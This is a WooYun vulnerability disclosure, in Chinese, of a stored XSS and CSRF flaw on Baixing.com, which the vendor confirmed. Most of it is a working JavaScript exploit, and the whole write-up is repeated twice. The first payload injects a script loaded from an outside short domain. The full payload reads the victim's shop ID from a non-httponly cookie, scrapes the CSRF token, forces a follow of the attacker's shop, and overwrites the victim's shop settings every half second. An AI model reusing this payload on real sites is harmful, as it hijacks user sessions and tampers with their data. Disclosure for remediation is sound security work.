当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079408

漏洞标题:百姓网存储型XSS+CSRF可获取用户隐私更改店铺数据等(主站及所有地方子站均存在问题)

相关厂商:百姓网

漏洞作者: 0x_Jin

提交时间:2014-10-14 22:21

修复时间:2014-11-28 22:22

公开时间:2014-11-28 22:22

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-14: 细节已通知厂商并且等待厂商处理中
2014-10-15: 厂商已经确认,细节仅向厂商公开
2014-10-25: 细节向核心白帽子及相关领域专家公开
2014-11-04: 细节向普通白帽子公开
2014-11-14: 细节向实习白帽子公开
2014-11-28: 细节向公众公开

简要描述:

百姓网态度挺好的,送的礼物也很真诚 于是我又来了第二发。谢谢你们送的《文明之光》

详细说明:

首先问题出在发一个帖子的标题处虽然限制了25个字符,未过滤字符,但是还有各种姿势可以XSS!
payload : '"><script src=//㎦.㎺>/*

QQ20141014-4.png


虽然标题处过滤了但是打开源文件 还是可以看到在其他地方的输出没有过滤!

QQ20141014-5.png


可以看到这里成功的加载了我们的代码,但是现在还没到主站的WWW域,一些重要操作的Token可是放在WWW域呢。
经过测试发现,开通一个微店,你发布的所有帖子 也会在微店出现,而微店正好是WWW域。
我们来看下微店里过滤我们的Payload没。
首先打开我的微店:

QQ20141014-6.png


发现有的内容没加载出来,那么应该是有问题的。于是便打开源码:

QQ20141014-7.png


可以看到虽然过滤了几处,但是输出点比较多,有的地方没过滤,于是我们现在在WWW域又有一个XSS了。
那么我们现在可以干嘛呢?

QQ20141014-8.png


可以看到有很多重要操作全部在WWW.BAIXING.COM
包括店铺设置,发出的职位,收到的简历 以及账户明细之类的!
那么我们可不可以csrf来篡改数据跟获得数据呢?答案是肯定的。(前提是你要能拿到操作的token)!
我们就拿更改店铺设置来开刀吧,首先先设置自己的店铺抓个包:

QQ20141014-9.png


可以看到打红框的地方就是我们的店铺名,店铺描述与店铺地址。没打红框的就是token跟店铺id!
如果我们要更改店铺的设置那么token跟店铺id是必须的,我们怎么去获得呢?
首先我发现店铺id在cookie里,而且没做httponly 那么我们是可以获取到的。

QQ20141014-10.png


那么我们如何获得他呢?

if(document.cookie.indexOf("__u=")>0){ 
var zhengze =/__u=\d*;/;
var cookie=document.cookie;
WeiDianId = String(zhengze.exec(cookie)).replace("__u=","").replace(";","");
}


如果cookie里存在__u 这个cookie,那么就是用正则表达式或得到,然后转为String类型,然后去掉 __u=" 以及 " 剩下的就是店铺ID了。
现在关键的店铺ID获得到了,剩下的就是另外一个关键了Token。
我们首先来到设置页面 打开源文件 直接搜索token:

QQ20141014-11.png


可以看到token被放在一个隐藏的input里了,不过没事 现在我们开始来获得他!

function Connection(Sendtype,url,content,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open(Sendtype,url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(content);
}
Connection("GET","http://www.baixing.com/w/weishop/set","",function(callback){
var zhengze = /value="\w{32}"/;
SendToken = String(zhengze.exec(callback)).replace('value="','').replace('"','');
});


首先创建个ajax函数,然后使用GET方法去请求设置页面,然后设置回调函数,如果有返回值,那么便用正则匹配或得到,然后转String类型 去掉 value=" 以及 " 剩下的就是token了!
好,这些都获得到了,那我们现在开始写payload:

var WeiDianId = "";
var SendToken = "";
//创建AJAX函数
function Connection(Sendtype,url,content,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open(Sendtype,url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(content);
}
//获得店铺ID
if(document.cookie.indexOf("__u=")>0){
var zhengze =/__u=\d*;/;
var cookie=document.cookie;
WeiDianId = String(zhengze.exec(cookie)).replace("__u=","").replace(";","");
}
//获得token
Connection("GET","http://www.baixing.com/w/weishop/set","",function(callback){
var zhengze = /value="\w{32}"/;
SendToken = String(zhengze.exec(callback)).replace('value="','').replace('"','');
});
//强制让用户关注我们的店铺
var weidian = new Image(); weidian.src="http://www.baixing.com/weishop/weishopFav?masterId=u112955608&visitorId=112955608";
//更改店铺设置
function SetWeiDian(){
if(WeiDianId!="" && SendToken!=""){
Connection("POST","http://www.baixing.com/weishop/updateWeiShopInfo","shopName=0x_Jin&image%5B%5D=&desc=0x_Jin&address=0x_Jin&token="+SendToken+"&showPhone=1&id="+WeiDianId,function(callback){});
}
}
//加载页面后每五秒执行以下更改店铺设置
setInterval('SetWeiDian()',500);


这个就是我们最终的Payload,他拥有这么些功能,CSRF加店铺关注,获得店铺ID,token,更改店铺设置。
现在我们来看下效果。
本身是没有关注我们的店铺的:

QQ20141014-12.png


触发XSS后:

QQ20141014-13.png


本身店铺设置是这样的:

QQ20141014-14.png


触发XSS后是这样的:

QQ20141014-15.png


我们来看下发送的数据包:

QQ20141014-16.png


可以看到全是更改店铺设置的包,因为0.5秒就会执行一次。
为什么要这样,因为你不知道客户端的网速他去获得一次token要多久,然后我就每0.5秒执行一次了!
我修复截图的注释一下 不是每五秒更改次设置 是每零点五秒。。一下粗心 打快了,也懒得改了!

漏洞证明:

微店地址:www.baixing.com/weishop/w112955608.html
访问就会关注我的微店,如果你有店铺则会更改你的设置。
首先问题出在发一个帖子的标题处虽然限制了25个字符,未过滤字符,但是还有各种姿势可以XSS!
payload : '"><script src=//㎦.㎺>/*

QQ20141014-4.png


虽然标题处过滤了但是打开源文件 还是可以看到在其他地方的输出没有过滤!

QQ20141014-5.png


可以看到这里成功的加载了我们的代码,但是现在还没到主站的WWW域,一些重要操作的Token可是放在WWW域呢。
经过测试发现,开通一个微店,你发布的所有帖子 也会在微店出现,而微店正好是WWW域。
我们来看下微店里过滤我们的Payload没。
首先打开我的微店:

QQ20141014-6.png


发现有的内容没加载出来,那么应该是有问题的。于是便打开源码:

QQ20141014-7.png


可以看到虽然过滤了几处,但是输出点比较多,有的地方没过滤,于是我们现在在WWW域又有一个XSS了。
那么我们现在可以干嘛呢?

QQ20141014-8.png


可以看到有很多重要操作全部在WWW.BAIXING.COM
包括店铺设置,发出的职位,收到的简历 以及账户明细之类的!
那么我们可不可以csrf来篡改数据跟获得数据呢?答案是肯定的。(前提是你要能拿到操作的token)!
我们就拿更改店铺设置来开刀吧,首先先设置自己的店铺抓个包:

QQ20141014-9.png


可以看到打红框的地方就是我们的店铺名,店铺描述与店铺地址。没打红框的就是token跟店铺id!
如果我们要更改店铺的设置那么token跟店铺id是必须的,我们怎么去获得呢?
首先我发现店铺id在cookie里,而且没做httponly 那么我们是可以获取到的。

QQ20141014-10.png


那么我们如何获得他呢?

if(document.cookie.indexOf("__u=")>0){ 
var zhengze =/__u=\d*;/;
var cookie=document.cookie;
WeiDianId = String(zhengze.exec(cookie)).replace("__u=","").replace(";","");
}


如果cookie里存在__u 这个cookie,那么就是用正则表达式或得到,然后转为String类型,然后去掉 __u=" 以及 " 剩下的就是店铺ID了。
现在关键的店铺ID获得到了,剩下的就是另外一个关键了Token。
我们首先来到设置页面 打开源文件 直接搜索token:

QQ20141014-11.png


可以看到token被放在一个隐藏的input里了,不过没事 现在我们开始来获得他!

function Connection(Sendtype,url,content,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open(Sendtype,url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(content);
}
Connection("GET","http://www.baixing.com/w/weishop/set","",function(callback){
var zhengze = /value="\w{32}"/;
SendToken = String(zhengze.exec(callback)).replace('value="','').replace('"','');
});


首先创建个ajax函数,然后使用GET方法去请求设置页面,然后设置回调函数,如果有返回值,那么便用正则匹配或得到,然后转String类型 去掉 value=" 以及 " 剩下的就是token了!
好,这些都获得到了,那我们现在开始写payload:

var WeiDianId = "";
var SendToken = "";
//创建AJAX函数
function Connection(Sendtype,url,content,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open(Sendtype,url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(content);
}
//获得店铺ID
if(document.cookie.indexOf("__u=")>0){
var zhengze =/__u=\d*;/;
var cookie=document.cookie;
WeiDianId = String(zhengze.exec(cookie)).replace("__u=","").replace(";","");
}
//获得token
Connection("GET","http://www.baixing.com/w/weishop/set","",function(callback){
var zhengze = /value="\w{32}"/;
SendToken = String(zhengze.exec(callback)).replace('value="','').replace('"','');
});
//强制让用户关注我们的店铺
var weidian = new Image(); weidian.src="http://www.baixing.com/weishop/weishopFav?masterId=u112955608&visitorId=112955608";
//更改店铺设置
function SetWeiDian(){
if(WeiDianId!="" && SendToken!=""){
Connection("POST","http://www.baixing.com/weishop/updateWeiShopInfo","shopName=0x_Jin&image%5B%5D=&desc=0x_Jin&address=0x_Jin&token="+SendToken+"&showPhone=1&id="+WeiDianId,function(callback){});
}
}
//加载页面后每五秒执行以下更改店铺设置
setInterval('SetWeiDian()',500);


这个就是我们最终的Payload,他拥有这么些功能,CSRF加店铺关注,获得店铺ID,token,更改店铺设置。
现在我们来看下效果。
本身是没有关注我们的店铺的:

QQ20141014-12.png


触发XSS后:

QQ20141014-13.png


本身店铺设置是这样的:

QQ20141014-14.png


触发XSS后是这样的:

QQ20141014-15.png


我们来看下发送的数据包:

QQ20141014-16.png


可以看到全是更改店铺设置的包,因为0.5秒就会执行一次。
为什么要这样,因为你不知道客户端的网速他去获得一次token要多久,然后我就每0.5秒执行一次了!
我修复截图的注释一下 不是每五秒更改次设置 是每零点五秒。。一下粗心 打快了,也懒得改了!

修复方案:

XSS的修复方案那么多我就不再讲了!

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-10-15 10:33

厂商回复:

多谢 0x_Jin。

最新状态:

暂无